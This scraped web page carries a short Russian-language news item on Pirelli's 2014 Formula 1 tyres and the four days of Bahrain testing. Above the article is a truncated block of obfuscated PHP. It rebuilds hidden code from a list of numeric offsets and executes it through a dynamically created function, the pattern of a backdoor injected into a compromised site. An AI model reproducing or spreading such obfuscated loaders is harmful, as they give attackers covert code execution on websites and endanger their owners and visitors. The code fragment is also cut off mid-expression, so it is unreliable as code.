aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

Pirelli: Характеристики новых шин для F1 соответствуют ожиданиям

В Бахрейне команды Formula 1 смогли проехать на новых шинах Pirelli образца 2014 года более внушительную дистанцию и начали лучше разбираться во взаимодействии новых шин с радикально изменившимися болидами.

В соответствии с заранее сделанным выбором в Бахрейне команды имели возможность опробовать не только всю линейку шин Pirelli PZero образца 2014 года, но и специальную «зимнюю» шину с жестким составом резиновой смеси, отличающуюся ускоренным прогревом.

У некоторых команд F1 в Бахрейне даже получилось сымитировать условия гонки и квалификации, а также потренировать пит-стопы, чтобы оценить эксплуатацию шин со всех сторон.

«Собранные на текущий момент тестовые данные указывают на то, что шины образца 2014 года обладают более устойчивыми характеристиками и являются более износостойкими, чем шины предыдущего сезона”, – прокомментировали в Pirelli.

По сравнению с первыми официальными тестами за прошедшие четыре дня команды смогли проехать намного более значительную дистанцию: в первый день тестов они преодолели 482 круга, во второй – 676, в третий – 695, а в четвертый – 469.

Тесты в Бахрейне были проведены с участием 24 пилотов, которые проехали 2 322 круга, или 12 566 километров. 

 


http://www.pkp.lv